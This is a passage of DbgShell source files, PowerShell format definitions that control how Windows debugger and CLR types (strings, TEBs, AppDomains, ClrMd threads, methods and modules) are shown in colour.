$_.Flink.DbgGetPointer()) ). AppendPushPopFg( [ConsoleColor]::Cyan, ' - ' ). Append( (Format-DbgAddress $_.Blink.DbgGetPointer()) ). AppendPushPopFg( [ConsoleColor]::Cyan, ' ]' ) } # end AltSingleLineViewDefinition } # end Type !_LIST_ENTRY New-AltTypeFormatEntry -TypeName '!_FILETIME' { New-AltSingleLineViewDefinition { [Int64] $i64 = $_.dwLowDateTime + (([Int64]$_.dwHighDateTime) -shl 32) $dt = [DateTime]::FromFileTimeUtc( $i64 ) (Format-DbgTypeName '_FILETIME'). AppendPushPopFg( [ConsoleColor]::Cyan, ' [ ' ). #Append( (Format-DbgAddress $_.DbgGetSymbol().ReadAs_UInt64() -Is32bit $false) ). Append( (Format-DbgUInt64 $i64) ). AppendPushPopFg( [ConsoleColor]::Cyan, ' ] ' ). Append( $dt.ToString( 'F' ) ) } # end AltSingleLineViewDefinition } # end Type !_FILETIME # What about _STRING? New-AltTypeFormatEntry -TypeName @( '!_UNICODE_STRING', '!_LUNICODE_STRING', '!_LUTF8_STRING', '!_STRING' ) { New-AltSingleLineViewDefinition { $sym = $_.DbgGetSymbol() $cs = (New-ColorString).Append( $sym.Type.ColorName ). AppendPushPopFg( [ConsoleColor]::DarkCyan, " $($_.Length)" ). Append( '/' ). AppendPushPopFg( [ConsoleColor]::DarkCyan, "$($_.MaximumLength)" ). Append( ': ' ) if( $_.Length -gt 0 ) { # On win7 x86, _UNICODE_STRING.Buffer shows up as "wchar_t*", # so we've already automagically turned it into a string. But # on win8 x64, it shows up as an "unsigned short*". So we'll # just use the pointer value to handle all cases. # [string] $str = '' $encoding = [System.Text.Encoding]::Unicode if( $sym.Type.Name.IndexOf( 'UTF8' ) -ge 0 ) { $encoding = [System.Text.Encoding]::Utf8 } elseif( $_.Buffer.DbgGetSymbol().Type.PointeeType.Size -eq 1 ) { $encoding = [System.Text.Encoding]::ASCII } try { $str = $Debugger.ReadMemAs_String( $_.Buffer.DbgGetPointer(), $_.Length, $encoding ) # TODO: Hmm... would be nice if we could determine how # much buffer width we had left to consume. $str = Truncate $str 30 $cs = $cs.Append( '"' ).AppendPushPopFg( [ConsoleColor]::Cyan, $str ).Append( '"' ) } catch { $cs.AppendPushPopFg( [ConsoleColor]::Red, "" ) } } else { $cs = $cs.Append( '""' ) } $cs } # end AltSingleLineViewDefinition } # end Type !_UNICODE_STRING, !_LUNICODE_STRING, !_LUTF8_STRING, !_STRING New-AltTypeFormatEntry -TypeName '!_PROCESSOR_NUMBER' { New-AltSingleLineViewDefinition { (Format-DbgTypeName '_PROCESSOR_NUMBER'). Append( ': ' ). Append( $_.Group.ToString() ). Append( ',' ). Append( $_.Number.ToString() ). Append( ',' ). Append( $_.Reserved.ToString() ) } # end AltSingleLineViewDefinition } # end Type !_PROCESSOR_NUMBER New-AltTypeFormatEntry -TypeName '!_TEB' { New-AltSingleLineViewDefinition { # TODO: Generalize into reusable function? if( $_.PSObject.Properties[ 'CountOfOwnedCriticalSections' ] -eq $null ) { return (New-ColorString -Content "" -Fore Yellow) } $cs = (Format-DbgTypeName '_TEB').Append( ': ' ) if( $_.InitialThread ) { $cs = $cs.AppendPushPopFg( [ConsoleColor]::Green, "(InitialThread) " ) } if( $_.WaitingOnLoaderLock ) { $cs = $cs.AppendPushPopFg( [ConsoleColor]::Yellow, "(WaitingOnLoaderLock) " ) } $cs = $cs.Append( "LastError: " ) if( $_.LastErrorValue ) { $cs = $cs.AppendPushPopFg( [ConsoleColor]::Yellow, $_.LastErrorValue.ToString( 'x' ) ) } else { $cs = $cs.AppendPushPopFg( [ConsoleColor]::DarkGray, '0' ) } $cs = $cs.Append( " LastStatus: " ) if( $_.LastStatusValue ) { $cs = $cs.AppendPushPopFg( [ConsoleColor]::Yellow, $_.LastStatusValue.ToString( 'x' ) ) } else { $cs = $cs.AppendPushPopFg( [ConsoleColor]::DarkGray, '0' ) } $cs = $cs.Append( " OwnedLocks: " ) if( $_.CountOfOwnedCriticalSections ) { $cs = $cs.AppendPushPopFg( [ConsoleColor]::Magenta, $_.CountOfOwnedCriticalSections.ToString() ) } else { $cs = $cs.AppendPushPopFg( [ConsoleColor]::DarkGreen, '0' ) } $cs } # end AltSingleLineViewDefinition } # end Type !_TEB } # end TypeEntries ================================================ FILE: DbgShell/x86/Debugger/Debugger.DebuggeeTypes.atl.psfmt ================================================ # # Format definitions: these are analogous to the entries in a .ps1xml, # except they are consumed by our alternate formatting engine, not the built-in # PowerShell formatting engine. # # The definitions in this file are specifically for "debugee types"-- # definitions of how to display values in the debuggee. The type names # typically have a "!" in them, and can be module-qualified (but do not have to # be). The alternate formatting engine can find these view definitions because # the alternate formatting engine use the "TypeNames" list of a PSObject to # look up view definitions, and the debugger module inserts the debuggee type # names into the "TypeNames" list of PSObjects that it generates to represent # objects in the debuggee. # Register-AltTypeFormatEntries { New-AltTypeFormatEntry -TypeName '!ATL::CComAutoDeleteCriticalSection' { New-AltSingleLineViewDefinition { if( !$_.m_bInitialized ) { return New-ColorString -Fore 'Yellow' -Content '(not initialized)' } else { return (Format-AltSingleLine -InputObject $_.m_sec) } } # end AltSingleLineViewDefinition } # end Type ATL::CComAutoDeleteCriticalSection } # end TypeEntries ================================================ FILE: DbgShell/x86/Debugger/Debugger.DebuggeeTypes.clr.psfmt ================================================ # # Format definitions: these are analogous to the entries in a .ps1xml, # except they are consumed by our alternate formatting engine, not the built-in # PowerShell formatting engine. # # The definitions in this file are specifically for "debugee types"-- # definitions of how to display values in the debuggee. The type names # typically have a "!" in them, and can be module-qualified (but do not have to # be). The alternate formatting engine can find these view definitions because # the alternate formatting engine use the "TypeNames" list of a PSObject to # look up view definitions, and the debugger module inserts the debuggee type # names into the "TypeNames" list of PSObjects that it generates to represent # objects in the debuggee. # Register-AltTypeFormatEntries { # # Native stuff (like stuff in clr.dll) # # SString represents a string, but it could be represented several different ways. # # It might be better to use a converter instead of a view definition 9especially good # for scripting scenarios), but there are some flags that we might want to look at. # There is a WCHAR* m_asStr member on most definitions, which hopefully covers the # scripting scenario well enough (because that /will/ get converted to a string). If # not we could use a converter to just add a member to the "stock" value, which would # read it as a string, using the proper representation. New-AltTypeFormatEntry -TypeName '!SString' { New-AltSingleLineViewDefinition { if( $_.m_buffer.DbgIsNull() ) { return [string]::Empty } $representation = $_.m_flags -band 0x07 # REPRESENTATION_MASK [string] $str = $null if( 0x04 -eq $representation ) { # REPRESENTATION_UNICODE $str = $_.m_buffer.DbgGetSymbol().ReadAs_pwszString() } elseif( 0x01 -eq $representation ) { # REPRESENTATION_ASCII $str = $_.m_buffer.DbgGetSymbol().ReadAs_pszString() } elseif( 0x03 -eq $representation ) { # REPRESENTATION_UTF8 $str = $_.m_buffer.DbgGetSymbol().ReadAs_putf8szString() } elseif( 0x07 -eq $representation ) { # REPRESENTATION_ANSI # TODO: BUGBUG: This is probably wrong (code page) $str = $_.m_buffer.DbgGetSymbol().ReadAs_pszString() } else { # Probably just an empty string. if( (0 -ne $representation) -or ($_.m_size -gt 2) ) { # (it could be a type derived from SString) return (New-ColorString).Append( $_.DbgGetSymbol().Type.ColorName ). AppendPushPopFg( [ConsoleColor]::Yellow, " " ) } $str = [string]::Empty } return (New-ColorString -Content '"').AppendPushPopFg( [ConsoleColor]::Cyan, $str ).Append( '"' ) } # end AltSingleLineViewDefinition } # end Type SString # This is the base class for a lot of things, like ReleaseHolder New-AltTypeFormatEntry -TypeName '!HolderBase' { New-AltSingleLineViewDefinition { Format-AltSingleLine -InputObject $_.m_value } # end AltSingleLineViewDefinition } # end Type HolderBase # ADID: Stands for AppDomainID, I think. New-AltTypeFormatEntry -TypeName '!ADID' { New-AltSingleLineViewDefinition { Format-AltSingleLine -InputObject $_.m_dwId } # end AltSingleLineViewDefinition } # end Type ADID New-AltTypeFormatEntry -TypeName '!AppDomain' { New-AltSingleLineViewDefinition { $sym = $_.DbgGetSymbol() $cs = (New-ColorString).Append( $sym.Type.ColorName ). Append( ' ' ). AppendPushPopFg( [ConsoleColor]::Green, $_.m_friendlyName.m_asStr ). Append( ' (Id ' ). Append( $_.m_dwId.m_dwId.ToString() ). Append( ') ' ). Append( $_.m_stage.ToColorStringSimple() ) return $cs } # end AltSingleLineViewDefinition } # end Type AppDomain # # ClrMd stuff # New-AltTypeFormatEntry -TypeName 'Microsoft.Diagnostics.Runtime.ClrStackFrame' { New-AltTableViewDefinition -ShowIndex { New-AltColumns { New-AltPropertyColumn -Property 'Kind' -Width 13 -Alignment Right New-AltScriptColumn -Label 'StackPointer' -Width 17 -Alignment Left -Tag 'Address' -Script { Format-DbgAddress $_.get_StackPointer() } New-AltScriptColumn -Label 'InstructionPointer' -Width 17 -Alignment Left -Tag 'Address' -Script { Format-DbgAddress $_.get_InstructionPointer() } New-AltPropertyColumn -Property 'DisplayString' -Alignment Left } # End Columns } # end Table view New-AltListViewDefinition -ListItems { New-AltPropertyListItem -PropertyName 'Kind' New-AltScriptListItem -Label 'InstructionPointer' { Format-DbgAddress $_.get_InstructionPointer() } New-AltScriptListItem -Label 'StackPointer' { Format-DbgAddress $_.get_StackPointer() } New-AltPropertyListItem -PropertyName 'DisplayString' New-AltPropertyListItem -PropertyName 'Method' } # end List view } # end Type Microsoft.Diagnostics.Runtime.ClrStackFrame New-AltTypeFormatEntry -TypeName 'Microsoft.Diagnostics.Runtime.ILToNativeMap' { New-AltTableViewDefinition -ShowIndex { New-AltColumns { New-AltScriptColumn -Label 'ILOffset' -Width 16 -Alignment Right -Script { <# CLRDATA_IL_OFFSET_NO_MAPPING = -1, CLRDATA_IL_OFFSET_PROLOG = -2, CLRDATA_IL_OFFSET_EPILOG = -3 #> $ilOffset = $_.ILOffset if( -1 -eq $ilOffset ) { '(no mapping) -1' } elseif( -2 -eq $ilOffset ) { '(prolog) -2' } elseif( -3 -eq $ilOffset ) { '(epilog) -3' } else { $ilOffset.ToString() } } New-AltScriptColumn -Label 'StartAddress' -Width 17 -Alignment Left -Tag 'Address' -Script { Format-DbgAddress $_.StartAddress } New-AltScriptColumn -Label 'EndAddress' -Width 17 -Alignment Left -Tag 'Address' -Script { Format-DbgAddress $_.EndAddress } New-AltScriptColumn -Label '(Size)' -Width 10 -Alignment Left -Script { $_.EndAddress - $_.StartAddress } } # End Columns } # end Table view New-AltListViewDefinition -ListItems { New-AltScriptListItem -Label 'ILOffset' { <# CLRDATA_IL_OFFSET_NO_MAPPING = -1, CLRDATA_IL_OFFSET_PROLOG = -2, CLRDATA_IL_OFFSET_EPILOG = -3 #> $ilOffset = $_.ILOffset if( -1 -eq $ilOffset ) { '-1 (no mapping)' } elseif( -2 -eq $ilOffset ) { '-2 (prolog)' } elseif( -3 -eq $ilOffset ) { '-3 (epilog)' } else { $ilOffset.ToString() } } New-AltScriptListItem -Label 'StartAddress' { Format-DbgAddress $_.StartAddress } New-AltScriptListItem -Label 'EndAddress' { Format-DbgAddress $_.EndAddress } New-AltScriptListItem -Label '(Size)' { $_.EndAddress - $_.StartAddress } } # end List view } # end Type Microsoft.Diagnostics.Runtime.ILToNativeMap New-AltTypeFormatEntry -TypeName 'Microsoft.Diagnostics.Runtime.ClrMethod' { New-AltTableViewDefinition -ShowIndex { New-AltColumns { New-AltPropertyColumn -Property 'MetadataToken' -Width 13 -Alignment Right -FormatString '0x{0:x}' New-AltPropertyColumn -Property 'CompilationType' -Label 'CType' -Width 5 -Alignment Center New-AltScriptColumn -Label 'NativeCode' -Width 17 -Tag 'Address' { Format-DbgAddress $_.get_NativeCode() } #New-AltPropertyColumn -Property 'Name' -Width 28 -Alignment Left New-AltScriptColumn -Label 'Name' -Alignment Left -TrimLocation Left -Script { $sb = New-Object 'System.Text.StringBuilder' # Can Type be null for special cases or something? $t = $_.get_Type() if( $t ) { # Maybe we don't need to shorten... # $lastDotIdx = $t.Name.LastIndexOf( '.' ) # if( $lastDotIdx -gt 0 ) # { # $null = $sb.Append( $t.Name.Substring( $lastDotIdx + 1 ) ) # } # else # { $null = $sb.Append( $t.Name ) # } $null = $sb.Append( '.' ) } $null = $sb.Append( $_.get_Name() ) $sb.ToString() } } # End Columns } # end Table view New-AltListViewDefinition -ListItems { New-AltPropertyListItem -PropertyName 'Name' New-AltScriptListItem -Label 'NativeCode' { # TODO: Un-jitted things show up as -1, not 0? Is 0 used, and if so, what # does it mean? I could format differently based on that. Format-DbgAddress $_.get_NativeCode() } New-AltPropertyListItem -PropertyName 'CompilationType' New-AltPropertyListItem -PropertyName 'MetadataToken' -FormatString '0x{0:x}' New-AltScriptListItem -Label '(Other Flags)' { $cs = New-ColorString if( $_.get_IsPublic() ) { $cs = $cs.AppendPushPopFg( [ConsoleColor]::Cyan, 'IsPublic ' ) } if( $_.get_IsPrivate() ) { $cs = $cs.AppendPushPopFg( [ConsoleColor]::Cyan, 'IsPrivate ' ) } if( $_.get_IsInternal() ) { $cs = $cs.AppendPushPopFg( [ConsoleColor]::Cyan, 'IsInternal ' ) } if( $_.get_IsProtected() ) { $cs = $cs.AppendPushPopFg( [ConsoleColor]::Cyan, 'IsProtected ' ) } if( $_.get_IsStatic() ) { $cs = $cs.AppendPushPopFg( [ConsoleColor]::Cyan, 'IsStatic ' ) } if( $_.get_IsFinal() ) { $cs = $cs.AppendPushPopFg( [ConsoleColor]::Cyan, 'IsFinal ' ) } if( $_.get_IsVirtual() ) { $cs = $cs.AppendPushPopFg( [ConsoleColor]::Cyan, 'IsVirtual ' ) } if( $_.get_IsAbstract() ) { $cs = $cs.AppendPushPopFg( [ConsoleColor]::Cyan, 'IsAbstract ' ) } if( $_.get_IsPInvoke() ) { $cs = $cs.AppendPushPopFg( [ConsoleColor]::Cyan, 'IsPInvoke ' ) } if( $_.get_IsSpecialName() ) { $cs = $cs.AppendPushPopFg( [ConsoleColor]::Cyan, 'IsSpecialName ' ) } if( $_.get_IsRTSpecialName() ) { $cs = $cs.AppendPushPopFg( [ConsoleColor]::Magenta, 'IsRTSpecialName ' ) } $cs } New-AltScriptListItem -Label 'ILOffsetMap' { $ilom = $_.get_ILOffsetMap() if( $ilom ) { [string]::Format( '{0} entries', $ilom.Length ) } else { '-' } } New-AltPropertyListItem -PropertyName 'Type' } # end List view New-AltSingleLineViewDefinition { $_.GetFullSignature() } # end AltSingleLineViewDefinition } # end Type Microsoft.Diagnostics.Runtime.ClrMethod New-AltTypeFormatEntry -TypeName 'Microsoft.Diagnostics.Runtime.ClrType' { function GetStructuralCategory( $type ) { [int] $numSet = 0 if( $type.get_IsObjectReference() ) { New-ColorString -Content 'Object Reference' -Fore Green $numSet += 1 } if( $type.get_IsValueClass() ) { New-ColorString -Content 'Value Class' -Fore DarkYellow $numSet += 1 } if( $type.get_IsPrimitive() ) { New-ColorString -Content 'Primitive' -Fore White $numSet += 1 } if( 1 -ne $numSet ) { throw "I expected it to be one of: obj ref, value class, or primitive." } } # end GetStructuralCategory function GetTypeCategory( $type ) { [int] $numSet = 0 if( $type.get_IsString() ) { New-ColorString -Content 'String' -Fore Cyan $numSet += 1 } if( $type.get_IsException() ) { New-ColorString -Content 'Exception' -Fore Yellow $numSet += 1 } if( $type.get_IsEnum() ) { New-ColorString -Content 'Enum' $numSet += 1 } if( $type.get_IsArray() ) { New-ColorString -Content 'Array' -Fore DarkYellow $numSet += 1 } if( $type.get_IsInterface() ) { New-ColorString -Content 'Interface' -Fore White $numSet += 1 } if( $type.get_IsRuntimeType() ) { New-ColorString -Content 'RuntimeType' -Fore Green $numSet += 1 } if( $numSet -gt 1 ) { throw "I expected zero or one of these to be true." } elseif( 0 -eq $numSet ) { New-ColorString -Content 'Object' -Fore DarkGray } } # end GetTypeCategory New-AltListViewDefinition -ListItems { #New-AltPropertyListItem -PropertyName 'Name' New-AltScriptListItem -Label 'Name' { Format-DbgTypeName $_.Name } New-AltPropertyListItem -PropertyName 'MetadataToken' -FormatString '0x{0:x}' New-AltScriptListItem -Label 'MethodTable' { Format-DbgAddress $_.MethodTable } New-AltPropertyListItem -PropertyName 'Module' New-AltPropertyListItem -PropertyName 'Heap' New-AltPropertyListItem -PropertyName 'ElementType' New-AltPropertyListItem -PropertyName 'ElementSize' New-AltPropertyListItem -PropertyName 'BaseType' New-AltPropertyListItem -PropertyName 'BaseSize' New-AltPropertyListItem -PropertyName 'Interfaces' New-AltPropertyListItem -PropertyName 'HasSimpleValue' New-AltPropertyListItem -PropertyName 'Shared' # New-AltPropertyListItem -PropertyName 'IsObjectReference' # New-AltPropertyListItem -PropertyName 'IsValueClass' # New-AltPropertyListItem -PropertyName 'IsPrimitive' New-AltPropertyListItem -PropertyName 'ContainsPointers' New-AltScriptListItem -Label '(Structural Category)' { GetStructuralCategory $_ } -CaptureContext New-AltScriptListItem -Label '(Type category)' { GetTypeCategory $_ } -CaptureContext New-AltScriptListItem -Label '(Type Flags)' { $cs = New-ColorString if( $_.get_IsFinalizable() ) { $cs = $cs.AppendPushPopFg( [ConsoleColor]::Yellow, 'IsFinalizable ' ) } if( $_.get_IsFree() ) { $cs = $cs.AppendPushPopFg( [ConsoleColor]::Yellow, 'IsFree ' ) } $cs } New-AltScriptListItem -Label '(Access Flags)' { $cs = New-ColorString if( $_.get_IsPublic() ) { $cs = $cs.AppendPushPopFg( [ConsoleColor]::Cyan, 'IsPublic ' ) } if( $_.get_IsPrivate() ) { $cs = $cs.AppendPushPopFg( [ConsoleColor]::Cyan, 'IsPrivate ' ) } if( $_.get_IsInternal() ) { $cs = $cs.AppendPushPopFg( [ConsoleColor]::Cyan, 'IsInternal ' ) } if( $_.get_IsProtected() ) { $cs = $cs.AppendPushPopFg( [ConsoleColor]::Cyan, 'IsProtected ' ) } if( $_.get_IsSealed() ) { $cs = $cs.AppendPushPopFg( [ConsoleColor]::Magenta, 'IsSealed ' ) } if( $_.get_IsAbstract() ) { $cs = $cs.AppendPushPopFg( [ConsoleColor]::Magenta, 'IsAbstract ' ) } $cs } New-AltPropertyListItem -PropertyName 'Fields' New-AltPropertyListItem -PropertyName 'StaticFields' New-AltPropertyListItem -PropertyName 'ThreadStaticFields' New-AltPropertyListItem -PropertyName 'Methods' New-AltPropertyListItem -PropertyName 'ComponentType' } # end List view New-AltTableViewDefinition -ShowIndex { New-AltColumns { New-AltScriptColumn -Label 'Name' -Alignment Left -Width 40 { Format-DbgTypeName $_.Name } New-AltPropertyColumn -Property 'Module' -Width 20 -Alignment Right New-AltPropertyColumn -Property 'MetadataToken' -Width 13 -Alignment Right -FormatString '0x{0:x}' New-AltPropertyColumn -Property 'BaseSize' -Width 8 -Alignment Right New-AltScriptColumn -Label '(StructCat)' -Width 16 { GetStructuralCategory $_ } -CaptureContext New-AltScriptColumn -Label '(TypeCat)' -Width 11 { GetTypeCategory $_ } -CaptureContext } # End Columns } # end Table view New-AltSingleLineViewDefinition { #(New-ColorString -Content 'ClrType: ').Append( (Format-DbgTypeName $_.Name) ) Format-DbgTypeName $_.Name } # end AltSingleLineViewDefinition } # end Type Microsoft.Diagnostics.Runtime.ClrType New-AltTypeFormatEntry -TypeName 'MS.Dbg.ClrObject' { New-AltTableViewDefinition { New-AltScriptColumn -Label 'TypeName' { Format-DbgTypeName $_.ClrType.Name } New-AltScriptColumn -Label 'Value' { if ($_.ClrType.HasSimpleValue) { $_.ClrType.GetValue($_.Address) } else { Format-DbgAddress $_.Address } } } New-AltSingleLineViewDefinition { $cs = (New-ColorString).Append( (Format-DbgAddress $_.Address) ). Append( ' ' ). Append( (Format-DbgTypeName $_.ClrType.Name) ) if ($_.ClrType.HasSimpleValue) { $cs = $cs.Append( ' ' ).Append( $_.ClrType.GetValue($_.Address) ) } $cs } } New-AltTypeFormatEntry -TypeName 'Microsoft.Diagnostics.Runtime.ClrInterface' { New-AltListViewDefinition -ListItems { New-AltScriptListItem -Label 'Name' { Format-DbgTypeName $_.Name } New-AltPropertyListItem -PropertyName 'BaseInterface' } # end List view New-AltTableViewDefinition -ShowIndex { New-AltColumns { New-AltScriptColumn -Label 'Name' -Alignment Left -Script { Format-DbgTypeName $_.Name } New-AltPropertyColumn -Property 'BaseInterface' -Alignment Left } # End Columns } # end Table view New-AltSingleLineViewDefinition { Format-DbgTypeName $_.Name } # end AltSingleLineViewDefinition } # end Type Microsoft.Diagnostics.Runtime.ClrInterface New-AltTypeFormatEntry -TypeName 'Microsoft.Diagnostics.Runtime.ClrModule' { function GetShortHighlightedName( $clrMod ) { Format-DbgModuleName ([system.io.path]::GetFileNameWithoutExtension( $clrMod.Name )) } New-AltTableViewDefinition -ShowIndex { New-AltColumns { New-AltScriptColumn -Label 'Name' -Width 64 -Alignment Right -Script { GetShortHighlightedName $_ } -CaptureContext New-AltScriptColumn -Label 'ImageBase' -Alignment Left -Width 17 -Tag 'Address' -Script { Format-DbgAddress $_.get_ImageBase() } New-AltPropertyColumn -Property 'Size' -Alignment Right -Width 9 -FormatString '0x{0:x}' New-AltScriptColumn -Label 'PdbLoaded' -Alignment Center -Width 9 -Script { if( $_.get_IsPdbLoaded() ) { 'True' } else { New-ColorString -Content '-' -Fore DarkBlue } } New-AltScriptColumn -Label 'Dynamic' -Alignment Center -Width 7 -Script { if( $_.get_IsDynamic() ) { New-ColorString -Content 'DYNAMIC' -Fore Magenta } else { New-ColorString -Content 'no' -Fore DarkBlue } } } # End Columns } # end Table view New-AltListViewDefinition -ListItems { New-AltPropertyListItem -PropertyName 'Name' New-AltPropertyListItem -PropertyName 'AssemblyName' New-AltPropertyListItem -PropertyName 'FileName' New-AltScriptListItem -Label 'ImageBase' { Format-DbgAddress $_.get_ImageBase() } New-AltPropertyListItem -PropertyName 'Size' -FormatString '0x{0:x}' New-AltScriptListItem -Label 'MetadataAddress' { Format-DbgAddress $_.get_MetadataAddress() } New-AltPropertyListItem -PropertyName 'MetadataLength' -FormatString '0x{0:x}' New-AltPropertyListItem -PropertyName 'MetadataImport' New-AltScriptListItem -Label 'AssemblyId' { Format-DbgAddress $_.get_AssemblyId() } New-AltPropertyListItem -PropertyName 'Revision' New-AltPropertyListItem -PropertyName 'DebuggingMode' New-AltPropertyListItem -PropertyName 'IsFile' New-AltPropertyListItem -PropertyName 'IsDynamic' New-AltPropertyListItem -PropertyName 'IsPdbLoaded' New-AltPropertyListItem -PropertyName 'PdbInterface' } # end List view New-AltSingleLineViewDefinition { GetShortHighlightedName $_ } -CaptureContext # end AltSingleLineViewDefinition } # end Type Microsoft.Diagnostics.Runtime.ClrModule New-AltTypeFormatEntry -TypeName 'Microsoft.Diagnostics.Runtime.ClrThread' { function GetThreadCategoryString( $clrThread, [bool] $short ) { [int] $numSet = 0 $cs = $null if( $clrThread.get_IsBackground() -and !$short ) { $cs = New-ColorString -Content 'Background: ' -Fore DarkCyan } else { $cs = New-ColorString } if( $clrThread.IsFinalizer ) { $cs = $cs.AppendPushPopFg( [ConsoleColor]::Magenta, 'Finalizer' ) $numSet += 1 } if( $clrThread.IsGC ) { $cs = $cs.AppendPushPopFg( [ConsoleColor]::Green, 'GC' ) $numSet += 1 } if( $clrThread.IsDebuggerHelper ) { if( $short ) { $cs = $cs.AppendPushPopFg( [ConsoleColor]::DarkYellow, 'DbgHelper' ) } else { $cs = $cs.AppendPushPopFg( [ConsoleColor]::DarkYellow, 'DebuggerHelper' ) } $numSet += 1 } if( $clrThread.IsThreadpoolTimer ) { if( $short ) { $cs = $cs.AppendPushPopFg( [ConsoleColor]::Cyan, 'TpTimer' ) } else { $cs = $cs.AppendPushPopFg( [ConsoleColor]::Cyan, 'ThreadpoolTimer' ) } $numSet += 1 } if( $clrThread.IsThreadpoolCompletionPort ) { if( $short ) { $cs = $cs.AppendPushPopFg( [ConsoleColor]::DarkCyan, 'TpComplPort' ) } else { $cs = $cs.AppendPushPopFg( [ConsoleColor]::DarkCyan, 'ThreadpoolCompletionPort' ) } $numSet += 1 } if( $clrThread.IsThreadpoolWorker ) { if( $short ) { $cs = $cs.AppendPushPopFg( [ConsoleColor]::White, 'TpWorker' ) } else { $cs = $cs.AppendPushPopFg( [ConsoleColor]::White, 'ThreadpoolWorker' ) } $numSet += 1 } if( $clrThread.IsThreadpoolWait ) { if( $short ) { $cs = $cs.AppendPushPopFg( [ConsoleColor]::Yellow, 'TpWait' ) } else { $cs = $cs.AppendPushPopFg( [ConsoleColor]::Yellow, 'ThreadpoolWait' ) } $numSet += 1 } if( $clrThread.IsThreadpoolGate ) { if( $short ) { $cs = $cs.AppendPushPopFg( [ConsoleColor]::DarkRed, 'TpGate' ) } else { $cs = $cs.AppendPushPopFg( [ConsoleColor]::DarkRed, 'ThreadpoolGate' ) } $numSet += 1 } if( $clrThread.IsShutdownHelper ) { if( $short ) { $cs = $cs.AppendPushPopFg( [ConsoleColor]::Red, 'ShutdownHelper' ) } else { $cs = $cs.AppendPushPopFg( [ConsoleColor]::Red, 'ShutdownHlp' ) } $numSet += 1 } if( 0 -eq $numSet ) { $cs = $cs.AppendPushPopFg( [ConsoleColor]::DarkGray, '(user)' ) } $cs } # end GetThreadCategoryString() function GetThreadStateString( $clrThread ) { $cs = $null if( $clrThread.IsAlive ) { $cs = New-ColorString -Content 'Alive' -Fore Green } else { $cs = New-ColorString -Content 'Dead' -Fore DarkRed } if( $clrThread.IsSuspendingEE ) { $cs = $cs.Append( (New-ColorString -Content ' SuspendingEE' -Color Magenta) ) } if( $clrThread.IsGCSuspendPending ) { $cs = $cs.Append( (New-ColorString -Content ' GCSuspendPending' -Color Cyan) ) } if( $clrThread.IsUserSuspended ) { $cs = $cs.Append( (New-ColorString -Content ' UserSuspended' -Color Yellow) ) } if( $clrThread.IsDebugSuspended ) { $cs = $cs.Append( (New-ColorString -Content ' DebugSuspended' -Color DarkYellow) ) } if( $clrThread.IsUnstarted ) { $cs = $cs.Append( (New-ColorString -Content ' Unstarted' -Color DarkGray) ) } if( $clrThread.IsAborted ) { $cs = $cs.Append( (New-ColorString -Content ' Aborted' -Color Red) ) } if( $clrThread.IsAbortRequested ) { $cs = $cs.Append( (New-ColorString -Content ' AbortRequested' -Color DarkRed) ) } $cs } # end GetThreadStateString() function GetThreadComStateString( $clrThread, [bool] $short ) { if( $clrThread.IsCoInitialized ) { if( $clrThread.IsSTA ) { New-ColorString -Content 'STA' -Fore Yellow } elseif( $clrThread.IsMTA ) { New-ColorString -Content 'MTA' -Fore Green } else { throw "Can a managed thread be CoInitialized, but not MTA or STA? (or is this bad data?)" } } else { if( $short ) { New-ColorString -Content '---' -Fore DarkGray } else { New-ColorString -Content '(not CoInitialized)' -Fore DarkGray } if( $clrThread.IsSTA -or $clrThread.IsMTA ) { throw "Bad data? Thread is STA or MTA, but not CoInitialized." } } } # end GetThreadComStateString() function GetLockCountString( $clrThread ) { if( $clrThread.get_LockCount() -eq 0 ) { New-ColorString -Content '0' -Fore Green } else { New-ColorString -Content $clrThread.get_LockCount().ToString() -Fore Yellow } } New-AltTableViewDefinition -ShowIndex { New-AltColumns { New-AltPropertyColumn -Property 'ManagedThreadId' -Label 'mId' -Alignment Right -Width 4 # TODO: I bet I need to manually 'x' it out for dead threads New-AltPropertyColumn -Property 'OSThreadId' -Label 'OSId' -Alignment Right -Width 7 -FormatString '{0:x}' New-AltScriptColumn -Label 'Address' -Alignment Center -Width 17 -Tag 'Address' -Script { Format-DbgAddress $_.get_Address() } New-AltScriptColumn -Label 'Locks' -Alignment Right -Width 5 -Script { GetLockCountString $_ } -CaptureContext New-AltScriptColumn -Label 'Live' -Alignment Center -Width 4 -Script { if( $_.get_IsAlive() ) { New-ColorString -Content ([char] 0x221a) -Fore Green } else { New-ColorString -Content 'X' -Fore DarkRed } } New-AltScriptColumn -Label 'BG' -Alignment Right -Width 2 -Script { if( $_.get_IsBackground() ) { 'Y' } else { New-ColorString -Content 'n' -Fore Blue } } New-AltScriptColumn -Label '(Category)' -Alignment Center -Width 11 -Script { GetThreadCategoryString $_ $true } -CaptureContext New-AltScriptColumn -Label 'COM' -Alignment Center -Width 3 -Script { GetThreadComStateString $_ $true } -CaptureContext New-AltScriptColumn -Label 'AppDomain' -Alignment Center -Width 17 -Tag 'Address' -Script { Format-DbgAddress $_.get_AppDomain() } New-AltPropertyColumn -Property 'CurrentException' -Alignment Left } # End Columns } # end Table view New-AltListViewDefinition -ListItems { # TODO: Where is the 'Name' property? New-AltPropertyListItem -PropertyName 'ManagedThreadId' -FormatString '{0:x}' # TODO: I bet I need to manually 'x' it out for dead threads New-AltPropertyListItem -PropertyName 'OSThreadId' -FormatString '{0:x}' New-AltScriptListItem -Label 'Address' { Format-DbgAddress $_.get_Address() } New-AltScriptListItem -Label '(Category)' { GetThreadCategoryString $_ } -CaptureContext New-AltScriptListItem -Label 'StackBase' { Format-DbgAddress $_.get_StackBase() } New-AltScriptListItem -Label 'StackLimit' { Format-DbgAddress $_.get_StackLimit() } New-AltScriptListItem -Label '(State)' { GetThreadStateString $_ } -CaptureContext New-AltScriptListItem -Label '(COM State)' { GetThreadComStateString $_ } -CaptureContext New-AltScriptListItem -Label 'Teb' { Format-DbgAddress $_.get_Teb() } New-AltPropertyListItem -PropertyName 'GcMode' # TODO: Instead of just displaying the AppDomain address... I could # use Types.ps1xl to actually put the clr!AppDomain object in here. New-AltScriptListItem -Label 'AppDomain' { Format-DbgAddress $_.get_AppDomain() } New-AltScriptListItem -Label 'LockCount' { GetLockCountString $_ } -CaptureContext # TODO: need to find a thread like this so I can figure a better way to format it. New-AltPropertyListItem -PropertyName 'CurrentException' New-AltPropertyListItem -PropertyName 'StackTrace' New-AltPropertyListItem -PropertyName 'BlockingObjects' } # end List view New-AltSingleLineViewDefinition { $cs = New-ColorString -Content 'Thread:' -Fore Black -Back DarkCyan $cs = $cs.Append( ' ' ).Append( $_.get_ManagedThreadId().ToString() ) $cs = $cs.Append( ' (' ).Append( $_.get_OSThreadId().ToString( 